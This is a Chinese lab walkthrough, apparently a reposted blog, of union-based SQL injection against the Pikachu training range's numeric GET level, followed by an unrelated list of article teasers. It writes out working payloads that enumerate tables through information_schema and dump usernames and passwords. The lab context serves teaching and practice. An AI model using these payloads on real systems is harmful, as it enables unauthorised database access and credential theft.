Pikachu-Sql Inject-数字型注入(GET)

一、、破解 SQL 查询语句中的字段数

?id=1' order by 3 --+ 
// --+ 是注释,+ 加号 在MySQL中会转成空格

order by 1  ,by 数字几,就是按照第几列进行排序;如果没有这一行,则报错
如:以下语句,根据第一行排序
 

select * from table_name order by 1 


order by 2,正常返回;order by 3, 报错;所以sql查询语句有两列;

用 + 号是转换成空格, --+ 是把 sql 语句后面的注释掉;

四、获取当前数据库
联合查询猜数据库:

id = 1' union select 1,database()

注意:若是数据显示只显示一行,将id=-1, 此处 id 的值必须是一个在数据库中 id 字段不存在的值,否则联合查询第一条语句的查询结 果将占据显示位,需要的第二条查询语句的查询结果就不能正常显示到浏览器中。

得到数据库名为:pikachu

五、获取数据库中的表
关键的三张表:SCHEMATA、TABLES、COLUMNS,它们分别能爆出数据库名,表名和字段名。

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。


TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema(哪个库),表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。


COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

要记住COLUMNS表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name

常用到的三个字段名:TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME

构造uniot select 爆破表名

// 根据数据库名,得到表名table_name
 

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()或
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'

爆破出表:httpinfo,member,message,users,xssblind

与从系统中查到的相对应

六、获取表中的字段名
根据上面得到的四张表名,可以爆破表里的字段名;以users为例
构造uniot select 爆破字段名

// 根据表名,得到字段名 column_name

id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name= 'users'

爆破得到字段:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level

七、查询到账户的数据
根据爆破出的字段,查询数据

构造uniot select 爆破数据

// 根据字段名,得到数据,以获取用户名、密码数据为例

id=1' union select 1,group_concat(username,':',password)from users


 

获得:admin、pikachu、test 三个用户的用户名和密码;至此完成;

注:concat是针对一行数据多个字段拼接,而group_concat是针对多行数据拼接,且group_concat自动生成逗号。

union select 联合查询 ,即合并取交集,结果中没有重复行,前后两个查询;前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型。

MySQL 提供了以下三种注释方法:

#:不建议直接使用,建议使用其 URL 编码形式%23
--+:本质上是--空格,+会被浏览器解释为空格,也可以使用 URL 编码形式``--%20
/**/:多行注释,常被用作空格

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/55592.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RabbitMQ(死信队列)

一、本文抒写背景 前面我也在延迟队列篇章提到过死信队列,也提到过一些应用场景! 今天呢,这篇文章,主要就是实战一个业务场景的小Demo流程,哈哈,那就是延迟关闭订单。 二、开始啦!letgo! 首…

Qt系统学习篇(6)-QMainWindow

QMainWindow是一个为用户提供主窗口程序的类,包含一个菜单栏(menu bar)、多个工具栏(tool bars)、多个锚接部件(dock widgets)、一个状态栏(status bar)及一个中心部件(central widget),是许多应用程序的基础,如文本编辑器,图片编…

不同环境不同的配置文件;不同地区的数据库连接

不同地区的数据库不同,是怎么找到不同的数据库的 在Spring Boot项目中,如果存在application.yml、application-test.yml、application-prod.yml等多个配置文件,Spring Boot会根据当前激活的配置文件环境来决定使用哪个配置文件。以下是关于如…

MyBatisPlus——学习笔记

MyBatisPlus 一、导入依赖 <!-- MyBatisPlus --><dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-boot-starter</artifactId><version>3.5.2</version></dependency><!-- MySql --><de…

物理学基础精解【41】

文章目录 核物理基础 Υ \varUpsilon Υ衰变1. Υ \varUpsilon Υ衰变的一般性质2. 具体的衰变模式3. 衰变公式和机制4. 实验观测和理论研究 Υ \varUpsilon Υ衰变概述一、定义二、公式三、定理一、定义二、公式三、定理 重带电粒子概述重带电粒子的性质重带电粒子的公式 重带…

【AIGC】VoiceControl for ChatGPT指南:轻松开启ChatGPT语音对话模式

博客主页&#xff1a; [小ᶻZ࿆] 本文专栏: AIGC | ChatGPT 文章目录 &#x1f4af;前言&#x1f4af;安装VoiceControl for ChatGPT插件&#x1f4af;如何使用VoiceControl for ChatGPT进行语音输入VoiceControl for ChatGPT快捷键注意点 &#x1f4af;VoiceControl for C…

mfc140u.dll缺失?快速解决方法全解析,解决mfc140u.dll错误

当你的电脑出现找不到mfc140u.dll的问题&#xff0c;不少用户在使用电脑时陷入了困扰。这个错误提示就像一道屏障&#xff0c;阻挡了用户正常使用某些软件。无论是办公软件、游戏还是专业的设计工具&#xff0c;一旦出现这个问题&#xff0c;都会导致软件无法正常运行。如果您也…

jQuery 选择器

jQuery 是什么&#xff1f; jQuery 是一个非常流行的 JavaScript 库&#xff0c;它简化了 HTML 文档遍历、事件处理、动画和 Ajax 交互。本篇博客将介绍一些常用的 jQuery 方法&#xff0c;帮助你更轻松地使用 jQuery 进行 Web 开发。 一、DOM 选择与遍历 1.1 基本选择器 $…

python:reportlab 将多个图片合并成一个PDF文件

承上一篇&#xff1a;java&#xff1a;pdfbox 3.0 去除扫描版PDF中文本水印 # 导出扫描版PDF文件中每页的图片文件 java -jar pdfbox-app-3.0.3.jar export:images -prefixtest -i your_book.pdf 导出 Writing image: test-1.jpg Writing image: test-2.jpg Writing image: t…

webGL入门(六)图形旋转

效果&#xff1a; 代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</…

ndb9300public-ndb2excel简介

1 引言 ndb9300是一个自己定义的机载导航数据库劳作&#xff08;不敢称为项目&#xff09;代号&#xff0c;其中3表示是第3种数据库。 多年前&#xff0c;对在役民航客机中的某型机载导航数据库的二进制文件进行分析&#xff0c;弄明白它的数据结构后做了几个工具&#xff0c…

Redis-持久化机制

Redis持久化方式 rdb -> 全量 aof -> 增量 也可以两种同时开启&#xff0c;混合持久化(4.0 后) rdb 简介 配置文件 redis 6.0.16 及其以下 redis 6.2 7.0 配置说明 有两种触发方式&#xff1a;手动&#xff0c;自动 修改 save 5 2dir /myredis/dump (储存的文件夹需…

【机器学习】探索GRU:深度学习中门控循环单元的魅力

目录 &#x1f354; GRU介绍 &#x1f354; GRU的内部结构图 2.1 GRU结构分析 2.2 GRU工作原理 2.4 Bi-GRU介绍 2.3 使用Pytorch构建GRU模型 2.5 GRU优缺点 &#x1f354; 小结 学习目标 &#x1f340; 了解GRU内部结构及计算公式. &#x1f340; 掌握Pytorch中GRU工具…

1000题-计算机网络系统概述

术语定义与其他术语的关系SDU&#xff08;服务数据单元&#xff09;相邻层间交换的数据单元&#xff0c;是服务原语的表现形式。在OSI模型中&#xff0c;SDU是某一层待传送和处理的数据单元&#xff0c;即该层接口数据的总和。 - SDU是某一层的数据集&#xff0c;准备传递给下一…

【开源免费】基于SpringBoot+Vue.JS洗衣店订单管理系统(JAVA毕业设计)

本文项目编号 T 068 &#xff0c;文末自助获取源码 \color{red}{T068&#xff0c;文末自助获取源码} T068&#xff0c;文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析 六、核心代码6.1 顾…

vue框架学习 -- 日历控件 FullCalendar 使用总结

最近在项目中要实现日期排班的功能&#xff0c;正好要用到日历视图的控件&#xff0c;经过对比发现&#xff0c;vue 中 使用 FullCalendar 可以实现相关需求&#xff0c;下面对使用过程做一个总结。 一. 引入 FullCalendar 控件 package.json 中添加相关依赖 "dependen…

基于PyQt5和SQLite的数据库操作程序

基于PyQt5和SQLite的数据库操作程序:功能解析 在现代办公和数据处理中,数据库操作是不可或缺的一部分。然而,传统的数据库管理工具往往界面复杂,操作繁琐,对于非专业人士来说存在一定的学习曲线。为了解决这个问题,我们开发了一款基于PyQt5和SQLite的数据库操作程序。该…

【CSS in Depth 2 精译_043】6.5 CSS 中的粘性定位技术 + 本章小结

当前内容所在位置&#xff08;可进入专栏查看其他译好的章节内容&#xff09; 第一章 层叠、优先级与继承&#xff08;已完结&#xff09;第二章 相对单位&#xff08;已完结&#xff09;第三章 文档流与盒模型&#xff08;已完结&#xff09;第四章 Flexbox 布局&#xff08;已…

.net Framework 4.6 WebAPI 使用Hangfire

C# 使用 Hangfire 第一章 .net Framework 4.6 WebAPI 使用Hangfire 文章目录 C# 使用 Hangfire前言一、hangfire是什么?二、hangfire的特点三、.net Framework 中hangfire的使用方法第一步:创建WebAPI控制器第二步:添加nuget包第三步 创建startup类新建项目startup类Startu…

python 实现Luhn (Mod 10)Algorithm算法

Luhn (Mod 10)Algorithm算法介绍 Luhn算法&#xff08;也称为“模10”或Mod 10算法&#xff09;是一种简单的校验和算法&#xff0c;主要用于验证身份识别码&#xff0c;如银行卡号、信用卡号、国际移动设备辨识码&#xff08;IMEI&#xff09;、美国国家提供商标识号码、加拿…